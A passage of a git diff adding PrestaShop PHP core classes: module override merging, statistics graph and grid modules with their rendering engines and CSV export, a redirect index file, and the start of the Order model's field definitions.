as $file) + { + $class = basename($file, '.php'); + if (Autoload::getInstance()->getClassPath($class.'Core')) + $result &= $this->removeOverride($class); + } + return $result; + } + + /** + * Add all methods in a module override to the override class + * + * @param string $classname + * @return bool + */ + public function addOverride($classname) + { + $path = Autoload::getInstance()->getClassPath($classname.'Core'); + + // Check if there is already an override file, if not, we just need to copy the file + if (!($classpath = Autoload::getInstance()->getClassPath($classname))) + { + $override_src = $this->getLocalPath().'override'.DIRECTORY_SEPARATOR.$path; + $override_dest = _PS_ROOT_DIR_.DIRECTORY_SEPARATOR.'override'.DIRECTORY_SEPARATOR.$path; + if (!is_writable(dirname($override_dest))) + throw new Exception(sprintf(Tools::displayError('directory (%s) not writable'), dirname($override_dest))); + copy($override_src, $override_dest); + // Re-generate the class index + Autoload::getInstance()->generateIndex(); + return true; + } + + // Check if override file is writable + $override_path = _PS_ROOT_DIR_.'/'.Autoload::getInstance()->getClassPath($classname); + if ((!file_exists($override_path) && !is_writable(dirname($override_path))) || (file_exists($override_path) && !is_writable($override_path))) + throw new Exception(sprintf(Tools::displayError('file (%s) not writable'), $override_path)); + + // Make a reflection of the override class and the module override class + $override_file = file($override_path); + eval(preg_replace(array('#^\s*<\?php#', '#class\s+'.$classname.'\s+extends\s+([a-z0-9_]+)(\s+implements\s+([a-z0-9_]+))?#i'), array('', 'class '.$classname.'OverrideOriginal'), implode('', $override_file))); + $override_class = new ReflectionClass($classname.'OverrideOriginal'); + + $module_file = file($this->getLocalPath().'override'.DIRECTORY_SEPARATOR.$path); + eval(preg_replace(array('#^\s*<\?php#', '#class\s+'.$classname.'(\s+extends\s+([a-z0-9_]+)(\s+implements\s+([a-z0-9_]+))?)?#i'), array('', 'class '.$classname.'Override'), implode('', $module_file))); + $module_class = new ReflectionClass($classname.'Override'); + + // Check if none of the methods already exists in the override class + foreach ($module_class->getMethods() as $method) + if ($override_class->hasMethod($method->getName())) + throw new Exception(sprintf(Tools::displayError('The method %1$s in the class %2$s is already overriden.'), $method->getName(), $classname)); + + // Check if none of the properties already exists in the override class + foreach ($module_class->getProperties() as $property) + if ($override_class->hasProperty($property->getName())) + throw new Exception(sprintf(Tools::displayError('The property %1$s in the class %2$s is already defined.'), $property->getName(), $classname)); + + // Insert the methods from module override in override + $copy_from = array_slice($module_file, $module_class->getStartLine() + 1, $module_class->getEndLine() - $module_class->getStartLine() - 2); + array_splice($override_file, $override_class->getEndLine() - 1, 0, $copy_from); + $code = implode('', $override_file); + file_put_contents($override_path, $code); + + return true; + } + + /** + * Remove all methods in a module override from the override class + * + * @param string $classname + * @return bool + */ + public function removeOverride($classname) + { + $path = Autoload::getInstance()->getClassPath($classname.'Core'); + + if (!Autoload::getInstance()->getClassPath($classname)) + return true; + + // Check if override file is writable + $override_path = _PS_ROOT_DIR_.'/'.Autoload::getInstance()->getClassPath($classname); + if (!is_writable($override_path)) + return false; + + // Make a reflection of the override class and the module override class + $override_file = file($override_path); + eval(preg_replace(array('#^\s*<\?php#', '#class\s+'.$classname.'\s+extends\s+([a-z0-9_]+)(\s+implements\s+([a-z0-9_]+))?#i'), array('', 'class '.$classname.'OverrideOriginal_remove'), implode('', $override_file))); + $override_class = new ReflectionClass($classname.'OverrideOriginal_remove'); + + $module_file = file($this->getLocalPath().'override/'.$path); + eval(preg_replace(array('#^\s*<\?php#', '#class\s+'.$classname.'(\s+extends\s+([a-z0-9_]+)(\s+implements\s+([a-z0-9_]+))?)?#i'), array('', 'class '.$classname.'Override_remove'), implode('', $module_file))); + $module_class = new ReflectionClass($classname.'Override_remove'); + + // Remove methods from override file + $override_file = file($override_path); + foreach ($module_class->getMethods() as $method) + { + if (!$override_class->hasMethod($method->getName())) + continue; + + $method = $override_class->getMethod($method->getName()); + $length = $method->getEndLine() - $method->getStartLine() + 1; + array_splice($override_file, $method->getStartLine() - 1, $length, array_pad(array(), $length, '#--remove--#')); + } + + // Remove properties from override file + foreach ($module_class->getProperties() as $property) + { + if (!$override_class->hasProperty($property->getName())) + continue; + + // Remplacer la ligne de declaration par "remove" + foreach ($override_file as $line_number => &$line_content) + if (preg_match('/(public|private|protected)\s+(static\s+)?\$'.$property->getName().'/i', $line_content)) + { + $line_content = '#--remove--#'; + break; + } + } + + // Rewrite nice code + $code = ''; + foreach ($override_file as $line) + { + if ($line == '#--remove--#') + continue; + + $code .= $line; + } + file_put_contents($override_path, $code); + + return true; + } +} + +function ps_module_version_sort($a, $b) +{ + return version_compare($a['version'], $b['version']); +} diff --git a/classes/module/ModuleGraph.php b/classes/module/ModuleGraph.php new file mode 100755 index 0000000..f8937fc --- /dev/null +++ b/classes/module/ModuleGraph.php @@ -0,0 +1,334 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class ModuleGraphCore extends Module +{ + protected $_employee; + + /** @var integer array graph data */ + protected $_values = array(); + + /** @var string array graph legends (X axis) */ + protected $_legend = array(); + + /**@var string graph titles */ + protected $_titles = array('main' => null, 'x' => null, 'y' => null); + + /** @var ModuleGraphEngine graph engine */ + protected $_render; + + abstract protected function getData($layers); + + public function setEmployee($id_employee) + { + $this->_employee = new Employee($id_employee); + } + + public function setLang($id_lang) + { + $this->_id_lang = $id_lang; + } + + protected function setDateGraph($layers, $legend = false) + { + // Get dates in a manageable format + $from_array = getdate(strtotime($this->_employee->stats_date_from)); + $to_array = getdate(strtotime($this->_employee->stats_date_to)); + + // If the granularity is inferior to 1 day + if ($this->_employee->stats_date_from == $this->_employee->stats_date_to) + { + if ($legend) + for ($i = 0; $i < 24; $i++) + { + if ($layers == 1) + $this->_values[$i] = 0; + else + for ($j = 0; $j < $layers; $j++) + $this->_values[$j][$i] = 0; + $this->_legend[$i] = ($i % 2) ? '' : sprintf('%02dh', $i); + } + if (is_callable(array($this, 'setDayValues'))) + $this->setDayValues($layers); + } + // If the granularity is inferior to 1 month TODO : change to manage 28 to 31 days + elseif (strtotime($this->_employee->stats_date_to) - strtotime($this->_employee->stats_date_from) <= 2678400) + { + if ($legend) + { + $days = array(); + if ($from_array['mon'] == $to_array['mon']) + for ($i = $from_array['mday']; $i <= $to_array['mday']; ++$i) + $days[] = $i; + else + { + $imax = date('t', mktime(0, 0, 0, $from_array['mon'], 1, $from_array['year'])); + for ($i = $from_array['mday']; $i <= $imax; ++$i) + $days[] = $i; + for ($i = 1; $i <= $to_array['mday']; ++$i) + $days[] = $i; + } + foreach ($days as $i) + { + if ($layers == 1) + $this->_values[$i] = 0; + else + for ($j = 0; $j < $layers; $j++) + $this->_values[$j][$i] = 0; + $this->_legend[$i] = ($i % 2) ? '' : sprintf('%02d', $i); + } + } + if (is_callable(array($this, 'setMonthValues'))) + $this->setMonthValues($layers); + } + // If the granularity is less than 1 year + elseif (strtotime('-1 year', strtotime($this->_employee->stats_date_to)) < strtotime($this->_employee->stats_date_from)) + { + if ($legend) + { + $months = array(); + if ($from_array['year'] == $to_array['year']) + for ($i = $from_array['mon']; $i <= $to_array['mon']; ++$i) + $months[] = $i; + else + { + for ($i = $from_array['mon']; $i <= 12; ++$i) + $months[] = $i; + for ($i = 1; $i <= $to_array['mon']; ++$i) + $months[] = $i; + } + foreach ($months as $i) + { + if ($layers == 1) + $this->_values[$i] = 0; + else + for ($j = 0; $j < $layers; $j++) + $this->_values[$j][$i] = 0; + $this->_legend[$i] = sprintf('%02d', $i); + } + } + if (is_callable(array($this, 'setYearValues'))) + $this->setYearValues($layers); + } + // If the granularity is greater than 1 year + else + { + if ($legend) + { + $years = array(); + for ($i = $from_array['year']; $i <= $to_array['year']; ++$i) + $years[] = $i; + foreach ($years as $i) + { + if ($layers == 1) + $this->_values[$i] = 0; + else + for ($j = 0; $j < $layers; $j++) + $this->_values[$j][$i] = 0; + $this->_legend[$i] = sprintf('%04d', $i); + } + } + if (is_callable(array($this, 'setAllTimeValues'))) + $this->setAllTimeValues($layers); + } + } + + protected function csvExport($datas) + { + $context = Context::getContext(); + + $this->setEmployee($context->employee->id); + $this->setLang($context->language->id); + + $layers = isset($datas['layers']) ? $datas['layers'] : 1; + if (isset($datas['option'])) + $this->setOption($datas['option'], $layers); + $this->getData($layers); + + // @todo use native CSV PHP functions ? + // Generate first line (column titles) + if (is_array($this->_titles['main'])) + for ($i = 0, $total_main = count($this->_titles['main']); $i <= $total_main; $i++) + { + if ($i > 0) + $this->_csv .= ';'; + if (isset($this->_titles['main'][$i])) + $this->_csv .= $this->_titles['main'][$i]; + } + else // If there is only one column title, there is in fast two column (the first without title) + $this->_csv .= ';'.$this->_titles['main']; + $this->_csv .= "\n"; + if (count($this->_legend)) + { + $total = 0; + if ($datas['type'] == 'pie') + foreach ($this->_legend as $key => $legend) + for ($i = 0, $total_main = (is_array($this->_titles['main']) ? count($this->_values) : 1); $i < $total_main; ++$i) + $total += (is_array($this->_values[$i]) ? $this->_values[$i][$key] : $this->_values[$key]); + foreach ($this->_legend as $key => $legend) + { + $this->_csv .= $legend.';'; + for ($i = 0, $total_main = (is_array($this->_titles['main']) ? count($this->_values) : 1); $i < $total_main; ++$i) + { + if (!isset($this->_values[$i]) || !is_array($this->_values[$i])) + if (isset($this->_values[$key])) + { + // We don't want strings to be divided. Example: product name + if (is_numeric($this->_values[$key])) + $this->_csv .= $this->_values[$key] / (($datas['type'] == 'pie') ? $total : 1); + else + $this->_csv .= $this->_values[$key]; + } + else + $this->_csv .= '0'; + else + { + // We don't want strings to be divided. Example: product name + if (is_numeric($this->_values[$i][$key])) + $this->_csv .= $this->_values[$i][$key] / (($datas['type'] == 'pie') ? $total : 1); + else + $this->_csv .= $this->_values[$i][$key]; + } + $this->_csv .= ';'; + } + $this->_csv .= "\n"; + } + } + $this->_displayCsv(); + } + + protected function _displayCsv() + { + ob_end_clean(); + header('Content-Type: application/octet-stream'); + header('Content-Disposition: attachment; filename="'.$this->displayName.' - '.time().'.csv"'); + echo $this->_csv; + exit; + } + + public function create($render, $type, $width, $height, $layers) + { + if (!Validate::isModuleName($render)) + die(Tools::displayError()); + if (!Tools::file_exists_cache($file = _PS_ROOT_DIR_.'/modules/'.$render.'/'.$render.'.php')) + die(Tools::displayError()); + require_once($file); + $this->_render = new $render($type); + + $this->getData($layers); + $this->_render->createValues($this->_values); + $this->_render->setSize($width, $height); + $this->_render->setLegend($this->_legend); + $this->_render->setTitles($this->_titles); + } + + public function draw() + { + $this->_render->draw(); + } + + /** + * @todo Set this method as abstracted ? Quid of module compatibility. + */ + public function setOption($option, $layers = 1) + { + } + + public function engine($params) + { + $context = Context::getContext(); + if (!($render = Configuration::get('PS_STATS_RENDER'))) + return Tools::displayError('No graph engine selected'); + if (!Validate::isModuleName($render)) + die(Tools::displayError()); + if (!file_exists(_PS_ROOT_DIR_.'/modules/'.$render.'/'.$render.'.php')) + return Tools::displayError('Graph engine selected is unavailable.'); + + $id_employee = (int)$context->employee->id; + $id_lang = (int)$context->language->id; + + if (!isset($params['layers'])) + $params['layers'] = 1; + if (!isset($params['type'])) + $params['type'] = 'column'; + if (!isset($params['width'])) + $params['width'] = 550; + if (!isset($params['height'])) + $params['height'] = 270; + + $url_params = $params; + $url_params['render'] = $render; + $url_params['module'] = Tools::getValue('module'); + $url_params['id_employee'] = $id_employee; + $url_params['id_lang'] = $id_lang; + $drawer = 'drawer.php?'.http_build_query(array_map('Tools::safeOutput', $url_params), '', '&'); + + require_once(_PS_ROOT_DIR_.'/modules/'.$render.'/'.$render.'.php'); + return call_user_func(array($render, 'hookGraphEngine'), $params, $drawer); + } + + protected static function getEmployee($employee = null, Context $context = null) + { + if (!Validate::isLoadedObject($employee)) + { + if (!$context) + $context = Context::getContext(); + if (!Validate::isLoadedObject($context->employee)) + return false; + $employee = $context->employee; + } + + if (empty($employee->stats_date_from) || empty($employee->stats_date_to) + || $employee->stats_date_from == '0000-00-00' || $employee->stats_date_to == '0000-00-00') + { + if (empty($employee->stats_date_from) || $employee->stats_date_from == '0000-00-00') + $employee->stats_date_from = date('Y').'-01-01'; + if (empty($employee->stats_date_to) || $employee->stats_date_to == '0000-00-00') + $employee->stats_date_to = date('Y').'-12-31'; + $employee->update(); + } + return $employee; + } + + public function getDate() + { + return ModuleGraph::getDateBetween($this->_employee); + } + + public static function getDateBetween($employee = null) + { + if ($employee = ModuleGraph::getEmployee($employee)) + return ' \''.$employee->stats_date_from.' 00:00:00\' AND \''.$employee->stats_date_to.' 23:59:59\' '; + return ' \''.date('Y-m').'-01 00:00:00\' AND \''.date('Y-m-t').' 23:59:59\' '; + } + + public function getLang() + { + return $this->_id_lang; + } +} + + diff --git a/classes/module/ModuleGraphEngine.php b/classes/module/ModuleGraphEngine.php new file mode 100755 index 0000000..7b83d08 --- /dev/null +++ b/classes/module/ModuleGraphEngine.php @@ -0,0 +1,72 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class ModuleGraphEngineCore extends Module +{ + protected $_type; + + public function __construct($type) + { + $this->_type = $type; + } + + public function install() + { + if (!parent::install()) + return false; + return Configuration::updateValue('PS_STATS_RENDER', $this->name); + } + + public static function getGraphEngines() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT m.`name` + FROM `'._DB_PREFIX_.'module` m + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_module` = m.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` h ON hm.`id_hook` = h.`id_hook` + WHERE h.`name` = \'displayAdminStatsGraphEngine\' + '); + + $array_engines = array(); + foreach ($result as $module) + { + $instance = Module::getInstanceByName($module['name']); + if (!$instance) + continue; + $array_engines[$module['name']] = array($instance->displayName, $instance->description); + } + + return $array_engines; + } + + abstract public function createValues($values); + abstract public function setSize($width, $height); + abstract public function setLegend($legend); + abstract public function setTitles($titles); + abstract public function draw(); +} + + diff --git a/classes/module/ModuleGrid.php b/classes/module/ModuleGrid.php new file mode 100755 index 0000000..7d3ab19 --- /dev/null +++ b/classes/module/ModuleGrid.php @@ -0,0 +1,184 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class ModuleGridCore extends Module +{ + protected $_employee; + + /** @var string array graph data */ + protected $_values = array(); + + /** @var integer total number of values **/ + protected $_totalCount = 0; + + /**@var string graph titles */ + protected $_title; + + /**@var integer start */ + protected $_start; + + /**@var integer limit */ + protected $_limit; + + /**@var string column name on which to sort */ + protected $_sort = null; + + /**@var string sort direction DESC/ASC */ + protected $_direction = null; + + /** @var ModuleGridEngine grid engine */ + protected $_render; + + abstract protected function getData(); + + public function setEmployee($id_employee) + { + $this->_employee = new Employee($id_employee); + } + + public function setLang($id_lang) + { + $this->_id_lang = $id_lang; + } + + public function create($render, $type, $width, $height, $start, $limit, $sort, $dir) + { + if (!Validate::isModuleName($render)) + die(Tools::displayError()); + if (!Tools::file_exists_cache($file = _PS_ROOT_DIR_.'/modules/'.$render.'/'.$render.'.php')) + die(Tools::displayError()); + require_once($file); + $this->_render = new $render($type); + + $this->_start = $start; + $this->_limit = $limit; + $this->_sort = $sort; + $this->_direction = $dir; + + $this->getData(); + + $this->_render->setTitle($this->_title); + $this->_render->setSize($width, $height); + $this->_render->setValues($this->_values); + $this->_render->setTotalCount($this->_totalCount); + $this->_render->setLimit($this->_start, $this->_limit); + } + + public function render() + { + $this->_render->render(); + } + + public function engine($params) + { + if (!($render = Configuration::get('PS_STATS_GRID_RENDER'))) + return Tools::displayError('No grid engine selected'); + if (!Validate::isModuleName($render)) + die(Tools::displayError()); + if (!file_exists(_PS_ROOT_DIR_.'/modules/'.$render.'/'.$render.'.php')) + return Tools::displayError('Grid engine selected is unavailable.'); + + $grider = 'grider.php?render='.$render.'&module='.Tools::safeOutput(Tools::getValue('module')); + + $context = Context::getContext(); + $grider .= '&id_employee='.(int)$context->employee->id; + $grider .= '&id_lang='.(int)$context->language->id; + + if (!isset($params['width']) || !Validate::IsUnsignedInt($params['width'])) + $params['width'] = 600; + if (!isset($params['height']) || !Validate::IsUnsignedInt($params['height'])) + $params['height'] = 920; + if (!isset($params['start']) || !Validate::IsUnsignedInt($params['start'])) + $params['start'] = 0; + if (!isset($params['limit']) || !Validate::IsUnsignedInt($params['limit'])) + $params['limit'] = 40; + + $grider .= '&width='.$params['width']; + $grider .= '&height='.$params['height']; + if (isset($params['start']) && Validate::IsUnsignedInt($params['start'])) + $grider .= '&start='.$params['start']; + if (isset($params['limit']) && Validate::IsUnsignedInt($params['limit'])) + $grider .= '&limit='.$params['limit']; + if (isset($params['type']) && Validate::IsName($params['type'])) + $grider .= '&type='.$params['type']; + if (isset($params['option']) && Validate::IsGenericName($params['option'])) + $grider .= '&option='.$params['option']; + if (isset($params['sort']) && Validate::IsName($params['sort'])) + $grider .= '&sort='.$params['sort']; + if (isset($params['dir']) && Validate::isSortDirection($params['dir'])) + $grider .= '&dir='.$params['dir']; + + require_once(_PS_ROOT_DIR_.'/modules/'.$render.'/'.$render.'.php'); + return call_user_func(array($render, 'hookGridEngine'), $params, $grider); + } + + protected function csvExport($datas) + { + $this->_sort = $datas['defaultSortColumn']; + $this->setLang(Context::getContext()->language->id); + $this->getData(); + + $layers = isset($datas['layers']) ? $datas['layers'] : 1; + + if (isset($datas['option'])) + $this->setOption($datas['option'], $layers); + + if (count($datas['columns'])) + { + foreach ($datas['columns'] as $column) + $this->_csv .= $column['header'].';'; + $this->_csv = rtrim($this->_csv, ';')."\n"; + + foreach ($this->_values as $value) + { + foreach ($datas['columns'] as $column) + $this->_csv .= $value[$column['dataIndex']].';'; + $this->_csv = rtrim($this->_csv, ';')."\n"; + } + } + $this->_displayCsv(); + } + + protected function _displayCsv() + { + ob_end_clean(); + header('Content-Type: application/octet-stream'); + header('Content-Disposition: attachment; filename="'.$this->displayName.' - '.time().'.csv"'); + echo $this->_csv; + exit; + } + + public function getDate() + { + return ModuleGraph::getDateBetween($this->_employee); + } + + public function getLang() + { + return $this->_id_lang; + } +} + diff --git a/classes/module/ModuleGridEngine.php b/classes/module/ModuleGridEngine.php new file mode 100755 index 0000000..0f4a65d --- /dev/null +++ b/classes/module/ModuleGridEngine.php @@ -0,0 +1,72 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class ModuleGridEngineCore extends Module +{ + protected $_type; + + public function __construct($type) + { + $this->_type = $type; + } + + public function install() + { + if (!parent::install()) + return false; + return Configuration::updateValue('PS_STATS_GRID_RENDER', $this->name); + } + + public static function getGridEngines() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT m.`name` + FROM `'._DB_PREFIX_.'module` m + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_module` = m.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` h ON hm.`id_hook` = h.`id_hook` + WHERE h.`name` = \'displayAdminStatsGridEngine\' + '); + + $array_engines = array(); + foreach ($result as $module) + { + $instance = Module::getInstanceByName($module['name']); + if (!$instance) + continue; + $array_engines[$module['name']] = array($instance->displayName, $instance->description); + } + + return $array_engines; + } + + abstract public function setValues($values); + abstract public function setTitle($title); + abstract public function setSize($width, $height); + abstract public function setTotalCount($totalCount); + abstract public function setLimit($start, $limit); + abstract public function render(); +} + diff --git a/classes/module/index.php b/classes/module/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/module/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/order/Order.php b/classes/order/Order.php new file mode 100755 index 0000000..a15a956 --- /dev/null +++ b/classes/order/Order.php @@ -0,0 +1,1884 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderCore extends ObjectModel +{ + /** @var integer Delivery address id */ + public $id_address_delivery; + + /** @var integer Invoice address id */ + public $id_address_invoice; + + public $id_shop_group; + + public $id_shop; + + /** @var integer Cart id */ + public $id_cart; + + /** @var integer Currency id */ + public $id_currency; + + /** @var integer Language id */ + public $id_lang; + + /** @var integer Customer id */ + public $id_customer; + + /** @var integer Carrier id */ + public $id_carrier; + + /** @var integer Order State id */ + public $current_state; + + /** @var string Secure key */ + public $secure_key; + + /** @var string Payment method */ + public $payment; + + /** @var string Payment module */ + public $module; + + /** @var float Currency conversion rate */ + public $conversion_rate; + + /** @var boolean Customer is ok for a recyclable package */ + public $recyclable = 1; + + /** @var boolean True if the customer wants a gift wrapping */ + public $gift = 0; + + /** @var string Gift message if specified */ + public $gift_message; + + /** @var boolean Mobile Theme */ + public $mobile_theme; + + /** + * @var string Shipping number + * @deprecated 1.5.0.4 + * @see OrderCarrier->tracking_number + */ + public $shipping_number; + + /** @var float Discounts total */ + public $total_discounts; + + public $total_discounts_tax_incl; + public $total_discounts_tax_excl; + + /** @var float Total to pay */ + public $total_paid; + + /** @var float Total to pay tax included */ + public $total_paid_tax_incl; + + /** @var float Total to pay tax excluded */ + public $total_paid_tax_excl; + + /** @var float Total really paid @deprecated 1.5.0.1 */ + public $total_paid_real; + + /** @var float Products total */ + public $total_products; + + /** @var float Products total tax included */ + public $total_products_wt; + + /** @var float Shipping total */ + public $total_shipping; + + /** @var float Shipping total tax included */ + public $total_shipping_tax_incl; + + /** @var float Shipping total tax excluded */ + public $total_shipping_tax_excl; + + /** @var float Shipping tax rate */ + public $carrier_tax_rate; + + /** @var float Wrapping total */ + public $total_wrapping; + + /** @var float Wrapping total tax included */ + public $total_wrapping_tax_incl; + + /** @var float Wrapping total tax excluded */ + public $total_wrapping_tax_excl; + + /** @var integer Invoice number */ + public $invoice_number; + + /** @var integer Delivery number */ + public $delivery_number; + + /** @var string Invoice creation date */ + public $invoice_date; + + /** @var string Delivery creation date */ + public $delivery_date; + + /** @var boolean Order validity (paid and not canceled) */ + public $valid; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @var string Order reference, this reference is not unique, but unique for a payment + */ + public $reference; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'orders', + 'primary' => 'id_order', + 'fields' => array( + 'id_address_delivery' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_address_invoice' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_cart' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_carrier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'current_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'secure_key' => array('type' => self::TYPE_STRING, 'validate' => 'isMd5'), + 'payment' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + 'module' => array('type' => self::TYPE_STRING, 'validate' => 'isModuleName', 'required' => true), + 'recyclable' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'gift' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'gift_message' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage'), + 'mobile_theme' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'total_discounts' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_discounts_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_discounts_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_paid' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'total_paid_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_paid_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_paid_real' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'total_products' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'total_products_wt' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'total_shipping' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_shipping_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_shipping_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'carrier_tax_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'total_wrapping' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_wrapping_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_wrapping_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'shipping_number' => array('type' => self::TYPE_STRING, 'validate' => 'isTrackingNumber'), + 'conversion_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'invoice_number' => array('type' => self::TYPE_INT), + 'delivery_number' => array('type' => 